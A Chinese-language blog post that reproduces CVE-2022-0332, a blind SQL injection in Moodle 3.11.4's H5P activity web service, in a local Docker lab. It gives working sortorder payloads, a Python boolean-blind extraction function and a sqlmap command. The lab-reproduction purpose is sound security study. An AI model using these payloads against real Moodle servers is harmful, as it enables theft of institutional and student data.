起因是,HITCON Girls 的成員來詢問我關於這個 CVE 的 Exploit 方法,她說實作了一天都卡在一些參數問題上,所以我就架起來玩了一下。

Moodle / 母斗 是一個很大的 LMS,目前台科大也正在使用,我目前也在被摧殘的第六年,ㄏㄏ。

Public Information

Build Environment

要復現這個漏洞,比想像中麻煩很多,這邊我使用了 Docker-compose 來快速建置環境,基本上內容來自 bitnami-docker-moodle , 我唯一做了修改的部分是把第 15 行指定了 Moodle 的版本

docker-compose 內容

version: '2'
services:
  mariadb:
    image: docker.io/bitnami/mariadb:10.3
    environment:
      # ALLOW_EMPTY_PASSWORD is recommended only for development.
      - ALLOW_EMPTY_PASSWORD=yes
      - MARIADB_USER=bn_moodle
      - MARIADB_DATABASE=bitnami_moodle
      - MARIADB_CHARACTER_SET=utf8mb4
      - MARIADB_COLLATE=utf8mb4_unicode_ci
    volumes:
      - 'mariadb_data:/bitnami/mariadb'
  moodle:
    image: docker.io/bitnami/moodle:3.11.4
    ports:
      - '80:8080'
      - '443:8443'
    environment:
      - MOODLE_DATABASE_HOST=mariadb
      - MOODLE_DATABASE_PORT_NUMBER=3306
      - MOODLE_DATABASE_USER=bn_moodle
      - MOODLE_DATABASE_NAME=bitnami_moodle
      # ALLOW_EMPTY_PASSWORD is recommended only for development.
      - ALLOW_EMPTY_PASSWORD=yes
    volumes:
      - 'moodle_data:/bitnami/moodle'
      - 'moodledata_data:/bitnami/moodledata'
    depends_on:
      - mariadb
volumes:
  mariadb_data:
    driver: local
  moodle_data:
    driver: local
  moodledata_data:
    driver: local

執行 Docker

基本上執行下面的指令,就可以把完整的環境跑起來了

sudo docker-compose up

值得注意的是,初次執行,當 log 出現下面這一行時,需要等待差不多 3~5 分鐘的時間來安裝母斗

moodle_1   | moodle 13:40:41.75 INFO  ==> Running Moodle install script

等到 Log 出現下面的內容, Server 就開好了

moodle_1   | [Fri Apr 01 13:43:52.245201 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1   | [Fri Apr 01 13:43:52.245789 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1   | [Fri Apr 01 13:43:52.287189 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1   | [Fri Apr 01 13:43:52.287724 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1   | [Fri Apr 01 13:43:52.354260 2022] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.52 (Unix) OpenSSL/1.1.1d PHP/7.4.27 configured -- resuming normal operations
moodle_1   | [Fri Apr 01 13:43:52.354324 2022] [core:notice] [pid 1] AH00094: Command line: '/opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND'

初始設定

預設透過 bitnami 的 Docker 來建的母斗,預設帳號是 user 、 預設密碼是 bitnami,port 預設的話會是 80。

http://127.0.0.1/login/index.php 輸入帳密即可登入 admin 帳號

分析 Exploit 需要的條件

快速看一下 Exploit-DB 的 Payload

GET /moodle-3.11.4/webservice/rest/server.php?wstoken=98f7d8003180afbd46ee160fdc05a4fc&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&sortorder=%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C4%2C1%29%29%3E104%29%20THEN%20%27%27%20ELSE%20%28SELECT%205080%20UNION%20SELECT%204100%29%20END%29%29 HTTP/1.1

我們可以看到幾個重點

  1. 使用到了 Moodle 的 webservice
  2. wstoken = 某個 Token
  3. wsfunction = mod_h5pactivity_get_user_attempts 就是本次有漏洞的 function
  4. sortorder 看起來很明顯就是 SQL Injection 的 Payload

Webservice

External Service

在 Moodle 中,web services token (wstoken) 是基於 services 的,而預設的 service 只有 moodle mobile web service。

我們可以在 Dashboard -> Site administration -> Server -> Web services -> External services 中點選 Custom Services 並 add,取任意的名字並選擇 Enabled

接下來選擇 Add functions

並選擇˙ mod_h5pactivity_get_user_attempts 按下 Add functions

Enable web services

接下來直接在

Dashboard -> Site administration -> Advanced features 中

Enable web services 給打勾,這個選項預設 Moodle 也是沒有開啟的

Enable protocols

在 Dashboard -> Site administration -> Server -> Web services -> Manage protocols 中,把 REST protocol 給 Enable (讓它眼睛打開)

Manage Tokens

下一步是需要自己申請一個 webtoken

在 Dashboard -> Site administration -> Server -> Web services -> Manage tokens 選擇藍色的 Create token,並設定我們的使用者,以及剛剛創建的 Service

接下來我們就可以取得 Token 了,在這邊我們拿到的是

673e5cea243f86f1a953d83f230666f3

這個號碼每個人都不會一樣,也不可以套用到其他 Server 上,所以請自行產生,

好麻煩 QQ 等不及的試試看

如果以為這樣就完成了,開心的把 PoC 貼上去的話

http://127.0.0.1/webservice/rest/server.php?wstoken=673e5cea243f86f1a953d83f230666f3&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1

會得到這樣的結果 QQ

因為 SQL 資料庫裏面沒有相對應的資料

關於檢查資料庫的方法,我們可以直接進去 Docker 下指令

先透過 docker ps 取得 container 的 ID 並透過 docker exec -it {ID} bash 進入

接下來用 mysql -ubn_moodle -p 預設空密碼進入 SQL Shell

切換資料庫 use bitnami_moodle;

之後我們都會用以下的 SQL 指令來檢查資料庫內容

select id from mdl_h5pactivity order by id desc ;

目前狀況下我們預設都是空的

Create Database Rows

我們需要創建一堂新的課程,並在課程裡面塞 H5P 的東西

Dashboard -> Site administration -> Courses -> Manage courses and categories -> Add a new course

然後隨便創個 Moodle 的課程

再來把我們自己的使用者加入這堂課程 Enroll users

創建完,進入課程後,我們點 Turn editing on 進入編輯模式

接下來隨便點一個 Add an activity or resource

選 H5P

取名字&隨便傳一個檔案

再回到剛剛的 SQL 觀察,我們可以確定我們讀到資料庫裡有東西了

Exploit 測試

我們先試著用正常方法存取 API

http://127.0.0.1/webservice/rest/server.php?wstoken=673e5cea243f86f1a953d83f230666f3&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1

發現能夠回傳東西了

再來測試 Payload

http://127.0.0.1/webservice/rest/server.php?wstoken=673e5cea243f86f1a953d83f230666f3&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&&sortorder=(SELECT (CASE WHEN (1=1) THEN '' ELSE (SELECT 87 UNION SELECT 88) END))

http://127.0.0.1/webservice/rest/server.php?wstoken=673e5cea243f86f1a953d83f230666f3&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&&sortorder=(SELECT (CASE WHEN (1=0) THEN '' ELSE (SELECT 87 UNION SELECT 88) END))

他們會回傳不同的東西

使用 SQLME0w 進行測試

腳本小子才用 SQLMap 啦,這邊我用我自己的 SQLME0w 來進行修改

https://github.com/stevenyu113228/SQLME0w

接下來使用 SQLME0w_MySQL.py 修改裡面的第 5 行開始的 function boolean_based_blind 改成以下這樣

def boolean_based_blind(condition):
    url = 'http://127.0.0.1/webservice/rest/server.php?wstoken=673e5cea243f86f1a953d83f230666f3&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&&sortorder=' # change me
    query = f"(SELECT (CASE WHEN ({condition}) THEN '' ELSE (SELECT 87 UNION SELECT 88) END))" # change me
    response = requests.get(url+query) # maybe change me
    if 'activityid' in response.text: # change me to other keyword or length
        return True
    else:
        return False

就能輕鬆使用了

SQLMap 解法

sqlmap -u 'http://127.0.0.1/webservice/rest/server.php?wstoken=673e5cea243f86f1a953d83f230666f3&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&&sortorder=*' --dbms=mysql --risk 3 --random-agent --current-db --flush-session

Reference

https://github.com/bitnami/bitnami-docker-moodle

https://github.com/numanturle/CVE-2022-0332

https://www.exploit-db.com/exploits/50700

https://docs.moodle.org/dev/Creating_a_web_service_client

https://cn-sec.com/archives/841033.html

https://tracker.moodle.org/browse/MDL-69259

https://docs.moodle.org/310/en/Mobile_web_services